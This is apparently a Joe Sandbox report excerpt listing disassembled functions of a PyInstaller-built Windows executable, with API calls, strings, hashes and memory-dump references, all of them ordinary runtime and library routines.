Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 1c08c83365d44066401784e1b70b71c7670d14ff4fb682678828c33d1612b477
Instruction ID: bdaac7af94d41d578575a97c9ed01ecc0d517fbd05849839102e72cf7e74eb96
Opcode Fuzzy Hash: 1c08c83365d44066401784e1b70b71c7670d14ff4fb682678828c33d1612b477
Instruction Fuzzy Hash: 68113024B0C64282FE58A7255E5B13D61529F497B0F248738ED6ECBAD6EE2DF4614303

Function 00007FF62C0F2910 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 86COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,?,?,?,00000000,00000000,?,00000000,00007FF62C0F1B6A), ref: 00007FF62C0F295E

Strings

[PYI-%d:ERROR] , xrefs: 00007FF62C0F2966
Error [ANSI Fallback], xrefs: 00007FF62C0F29FF
%s: %s, xrefs: 00007FF62C0F29E8
Error, xrefs: 00007FF62C0F2A0E

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: CurrentProcess
String ID: %s: %s$Error$Error [ANSI Fallback]$[PYI-%d:ERROR]
API String ID: 2050909247-2962405886
Opcode ID: b3354eec44a94607d33eb4f3788ab89374ba031f66333e1b118589dca889f3f3
Instruction ID: eb1945402f5b3ce93bd321c5c70b1af51b2f1e43aef729a147c8e485069f2159
Opcode Fuzzy Hash: b3354eec44a94607d33eb4f3788ab89374ba031f66333e1b118589dca889f3f3
Instruction Fuzzy Hash: 2E313562B18A8146EF209765AC422E76294BF887F8F400132FE8CC3789EF7CD586C241

Function 00007FF62C0F2390 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 81windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF62C0F23C8
DialogBoxIndirectParamW.USER32 ref: 00007FF62C0F248E
DeleteObject.GDI32 ref: 00007FF62C0F24C1
DestroyIcon.USER32 ref: 00007FF62C0F24D3

Strings

Unhandled exception in script, xrefs: 00007FF62C0F23F8

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: DeleteDestroyDialogHandleIconIndirectModuleObjectParam
String ID: Unhandled exception in script
API String ID: 3081866767-2699770090
Opcode ID: 851ce5d4a208b56cb63585478e484d0f9d6918564d04618497f061aba15d8534
Instruction ID: 78f4a0f4665ebe558c9d8f4fe83a1ce740a31a568ba874358303eaf6e3a3ce4a
Opcode Fuzzy Hash: 851ce5d4a208b56cb63585478e484d0f9d6918564d04618497f061aba15d8534
Instruction Fuzzy Hash: 5F319072619A8288EF20DB25EC5A2F96360FF887A4F440135EE4E87B49DF7CD145C702

Function 00007FF62C0F2B50 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 65windowCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,00000000,00000000,FFFFFFFF,00000000,00007FF62C0F918F,?,00007FF62C0F3C55), ref: 00007FF62C0F2BA0
MessageBoxW.USER32 ref: 00007FF62C0F2C2A

Strings

Warning, xrefs: 00007FF62C0F2C1D
WARNING, xrefs: 00007FF62C0F2BAF
[PYI-%d:%ls] , xrefs: 00007FF62C0F2BA8

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: CurrentMessageProcess
String ID: WARNING$Warning$[PYI-%d:%ls]
API String ID: 1672936522-3797743490
Opcode ID: 4a0b6e8ebe13cae449087f655af1d2523953ec7fd560ce9a50e7097f48d063a1
Instruction ID: 2cec8ca5f0b50406f41d5ca78096f05a42cdc10a41819766b9aadb76dc93387f
Opcode Fuzzy Hash: 4a0b6e8ebe13cae449087f655af1d2523953ec7fd560ce9a50e7097f48d063a1
Instruction Fuzzy Hash: C821D162708B4186EB209B18F8467EA63A4EB88794F400136EE8D93655DF3CD245C741

Function 00007FF62C0F2710 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 64COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,00000000,00000000,?,00000000,00007FF62C0F1B99), ref: 00007FF62C0F2760

Strings

[PYI-%d:%s] , xrefs: 00007FF62C0F2768
ERROR, xrefs: 00007FF62C0F276F
Error [ANSI Fallback], xrefs: 00007FF62C0F27CF
Error, xrefs: 00007FF62C0F27DE

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: CurrentProcess
String ID: ERROR$Error$Error [ANSI Fallback]$[PYI-%d:%s]
API String ID: 2050909247-1591803126
Opcode ID: a4fe537d534c2fb53088f6f6b76b448a80ccad2508d4dc842b27f1a8247accfc
Instruction ID: 2465b6bc31d6e694cec9312289ad023290a5290f080061e0e327b4e5820cccf0
Opcode Fuzzy Hash: a4fe537d534c2fb53088f6f6b76b448a80ccad2508d4dc842b27f1a8247accfc
Instruction Fuzzy Hash: 8B21B072A19B8186EB20DB54BC867EA6394FF883A4F400135FE8C83659DF7CD2858745

Function 00007FF62C109A88 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF62C109AAD
GetProcAddress.KERNEL32 ref: 00007FF62C109AC3
FreeLibrary.KERNEL32 ref: 00007FF62C109AEA

Strings

CorExitProcess, xrefs: 00007FF62C109ABC
mscoree.dll, xrefs: 00007FF62C109AA4

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: b239dd027a539e56a716c05e535b4da9cb8e2339e08a4dc57142401ef2416000
Instruction ID: eb95f7f3f48f6a0bec1191f39e3fbdbb999db267ea4a3c974252f25e370276a8
Opcode Fuzzy Hash: b239dd027a539e56a716c05e535b4da9cb8e2339e08a4dc57142401ef2416000
Instruction Fuzzy Hash: FCF0C261B08706C1FE148B28EC6F77A6330AF59770F440235DA6E866E8CF6CD144C302

Function 00007FF62C119368 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF62C119390
_set_statfp.LIBCMT ref: 00007FF62C1193AB
_set_statfp.LIBCMT ref: 00007FF62C1193C7
_set_statfp.LIBCMT ref: 00007FF62C119403

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: bce21d2362216a5e504affcf34f2858e363de54600403cac3d1eeb36cb2ab404
Instruction ID: c0936150a246bbdc1847628288228c3b1f4df18014319b5539fea7cd5b03cd38
Opcode Fuzzy Hash: bce21d2362216a5e504affcf34f2858e363de54600403cac3d1eeb36cb2ab404
Instruction Fuzzy Hash: 09113322D68A8201FE54117EED9B37D1190AF79374E4C8634EA7E967DE8EEC6445C103

Function 00007FF62C10B390 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00007FF62C10A5A3,?,?,00000000,00007FF62C10A83E,?,?,?,?,?,00007FF62C10A7CA), ref: 00007FF62C10B3AF
FlsSetValue.KERNEL32(?,?,?,00007FF62C10A5A3,?,?,00000000,00007FF62C10A83E,?,?,?,?,?,00007FF62C10A7CA), ref: 00007FF62C10B3CE
FlsSetValue.KERNEL32(?,?,?,00007FF62C10A5A3,?,?,00000000,00007FF62C10A83E,?,?,?,?,?,00007FF62C10A7CA), ref: 00007FF62C10B3F6
FlsSetValue.KERNEL32(?,?,?,00007FF62C10A5A3,?,?,00000000,00007FF62C10A83E,?,?,?,?,?,00007FF62C10A7CA), ref: 00007FF62C10B407
FlsSetValue.KERNEL32(?,?,?,00007FF62C10A5A3,?,?,00000000,00007FF62C10A83E,?,?,?,?,?,00007FF62C10A7CA), ref: 00007FF62C10B418

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 44f6b3e63c936746b9124b5af5da9c753e88c88086b63197a25bc1506e4861c0
Instruction ID: 14cd283922234b1d585029a14ed1ac0fe22536fbb028d61e15a6918262ddd066
Opcode Fuzzy Hash: 44f6b3e63c936746b9124b5af5da9c753e88c88086b63197a25bc1506e4861c0
Instruction Fuzzy Hash: D1115E30F0D64281FE58A7269D5B27921429F457B0F588334ED7EC6BDAEE2DE5628303

Function 00007FF62C10B224 Relevance: 7.6, APIs: 5, Instructions: 50COMMON

Download Yara Rule

APIs

FlsGetValue.KERNEL32 ref: 00007FF62C10B235
FlsSetValue.KERNEL32 ref: 00007FF62C10B254
FlsSetValue.KERNEL32 ref: 00007FF62C10B27C
FlsSetValue.KERNEL32 ref: 00007FF62C10B28D
FlsSetValue.KERNEL32 ref: 00007FF62C10B29E

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 92671db20a050c4f2636db97a8291f7b9cbb2c044339a59ef12305351f814945
Instruction ID: ba2ef1308fe9006bf9a1ef374012ed1dea6c46e84785928743e1045b93af50d1
Opcode Fuzzy Hash: 92671db20a050c4f2636db97a8291f7b9cbb2c044339a59ef12305351f814945
Instruction Fuzzy Hash: 02110524E4920781FD6CA2614C6B57E22824F8A770F184B34ED3ECA6D6ED2DB8614213

Function 00007FF62C105FA0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF62C105FDC
_invalid_parameter_noinfo.LIBCMT ref: 00007FF62C106106
_invalid_parameter_noinfo.LIBCMT ref: 00007FF62C1061BC

Strings

verbose, xrefs: 00007FF62C105FB0

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: verbose
API String ID: 3215553584-579935070
Opcode ID: 8c3a45f75ca5c0a3459ca2e96ae2fbbf181a3d63a640e770f0a7cf37c7606cec
Instruction ID: ef05407b4b7fce76a600297e839262fe213be2094b9ebd134a9a78217a82eb1d
Opcode Fuzzy Hash: 8c3a45f75ca5c0a3459ca2e96ae2fbbf181a3d63a640e770f0a7cf37c7606cec
Instruction Fuzzy Hash: BF91D472A08A5681FF619E24DC5A3BD3791AF81BA4F444136DE5D873D6DF3CE8258302

Function 00007FF62C10FBC8 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 219COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF62C10FEA7

Part of subcall function 00007FF62C107A3C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF62C107A59

Strings

UTF-16LEUNICODE, xrefs: 00007FF62C10FE45
UTF-8, xrefs: 00007FF62C10FE26
ccs, xrefs: 00007FF62C10FDE2

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: UTF-16LEUNICODE$UTF-8$ccs
API String ID: 3215553584-1196891531
Opcode ID: 7089664b0a027e884898b454f5d4d61e653d4f3baae8c024cbe23c99275e4c13
Instruction ID: 495537817798efd58c7886186beb64db9423c0621514f747653eb7dd892779cd
Opcode Fuzzy Hash: 7089664b0a027e884898b454f5d4d61e653d4f3baae8c024cbe23c99275e4c13
Instruction Fuzzy Hash: 9381BF72E0C24385FF659F29895B27836A1AB11BA8F558035DE0DD7285CF2EE922D303

Function 00007FF62C0FD648 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF62C0FD673
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF62C0FD70A
RtlUnwindEx.KERNEL32 ref: 00007FF62C0FD764

Strings

csm, xrefs: 00007FF62C0FD6F1

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm
API String ID: 2395640692-1018135373
Opcode ID: 4bd751ab4a757734da5bac4c310991cbc8ef63d187f18c7a3c34a87046479a0f
Instruction ID: 7423ddb91260109b893d9910f443cc667aa1400ac18253e2b175fc53b6cc337e
Opcode Fuzzy Hash: 4bd751ab4a757734da5bac4c310991cbc8ef63d187f18c7a3c34a87046479a0f
Instruction Fuzzy Hash: 84518E36A197428EDF14CF15E844A787791EB44BA8F108135DE4E8B788EF7EE981C709

Function 00007FF62C0FEED8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF62C0FEF37
_CallSETranslator.LIBVCRUNTIME ref: 00007FF62C0FEF83

Strings

RCC, xrefs: 00007FF62C0FEF53
MOC, xrefs: 00007FF62C0FEF4B

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 1c81a5d02d7979dd4dad50f55436adaf5051385037e661534b2c2f58034018d3
Instruction ID: 375ed67dc8ad28dc4d58ec569a2a90a070955ee2b5cd3aafd191282bf8908a82
Opcode Fuzzy Hash: 1c81a5d02d7979dd4dad50f55436adaf5051385037e661534b2c2f58034018d3
Instruction Fuzzy Hash: 1B617232908BC589EB609F15E8403AAB7A0FB85BA4F044225EF9C47B99DF7DD1D4CB05

Function 00007FF62C0FF288 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF62C0FF2B0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00007FF62C0FF398

Strings

csm, xrefs: 00007FF62C0FF2D2
csm, xrefs: 00007FF62C0FF3EA

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b828653c103bc27f8420a51a056d9897bfd6e6497fd7c081c32eb92dd3ed2bbb
Instruction ID: edc58648ded7facd108a0e871cda2938f405d4af8264a3fdfcef124654868754
Opcode Fuzzy Hash: b828653c103bc27f8420a51a056d9897bfd6e6497fd7c081c32eb92dd3ed2bbb
Instruction Fuzzy Hash: 63517D32A082828EEF748F25984426977E0EB55BA4F144136DE9DC7B85CF7EE491C70A

Function 00007FF62C0F2810 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 65windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32 ref: 00007FF62C0F28EA

Strings

[PYI-%d:%ls] , xrefs: 00007FF62C0F2868
ERROR, xrefs: 00007FF62C0F286F
Error, xrefs: 00007FF62C0F28DD

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: Message
String ID: ERROR$Error$[PYI-%d:%ls]
API String ID: 2030045667-255084403
Opcode ID: 035b7a672ed8def45fe49a9c290554376ffedfd07499b26c39d849b73b89d90e
Instruction ID: 3413cd746f8771c83a11a587361d0f0fd128e84aa27177f6b06a5d54e2988a5f
Opcode Fuzzy Hash: 035b7a672ed8def45fe49a9c290554376ffedfd07499b26c39d849b73b89d90e
Instruction Fuzzy Hash: D121DE72B08B4186EB209B18F84A7EA63A4EB88794F400136EE8D9365ADF3CD245C741

Function 00007FF62C10C5A0 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00007FF62C10C61F
WriteFile.KERNEL32 ref: 00007FF62C10C8E7
WriteFile.KERNEL32 ref: 00007FF62C10C92D
GetLastError.KERNEL32 ref: 00007FF62C10C9E3

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 04e310725d937c0b27e7ac1e6c46040fced781be2c4963351fe3137ba04acc33
Instruction ID: d5963c906391e85ea99114f779c0114a698e1561d3d64e507fde88feabfeb877
Opcode Fuzzy Hash: 04e310725d937c0b27e7ac1e6c46040fced781be2c4963351fe3137ba04acc33
Instruction Fuzzy Hash: 61D12972B18E418AEB10CF69D8551EC3771FB147A8B044236DE4ED7B99DE38D02ACB06

Function 00007FF62C0F20C0 Relevance: 6.1, APIs: 4, Instructions: 52COMMON

Download Yara Rule

APIs

EndDialog.USER32 ref: 00007FF62C0F20F4
SetWindowLongPtrW.USER32 ref: 00007FF62C0F2116
GetWindowLongPtrW.USER32 ref: 00007FF62C0F2140
InvalidateRect.USER32 ref: 00007FF62C0F2160

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: LongWindow$DialogInvalidateRect
String ID:
API String ID: 1956198572-0
Opcode ID: 3f66ec3ad31a24d6b03c6ecd933265a99c2c3f38e7b83c206d3886b5f9d1bb92
Instruction ID: 676343a545536e242cd7a8e561d9ca1aa7b8748dc7a10c2edd1c8ccda047082e
Opcode Fuzzy Hash: 3f66ec3ad31a24d6b03c6ecd933265a99c2c3f38e7b83c206d3886b5f9d1bb92
Instruction Fuzzy Hash: 5E11E931A0C14246FE54876EED492B95251FB9CBA0F448030DF4987B9ACE2ED8D18249

Function 00007FF62C115B1C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 121COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF62C111760: _invalid_parameter_noinfo.LIBCMT ref: 00007FF62C111793

_get_daylight.LIBCMT ref: 00007FF62C115C34
_get_daylight.LIBCMT ref: 00007FF62C115C45

Strings

?, xrefs: 00007FF62C115BC5

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
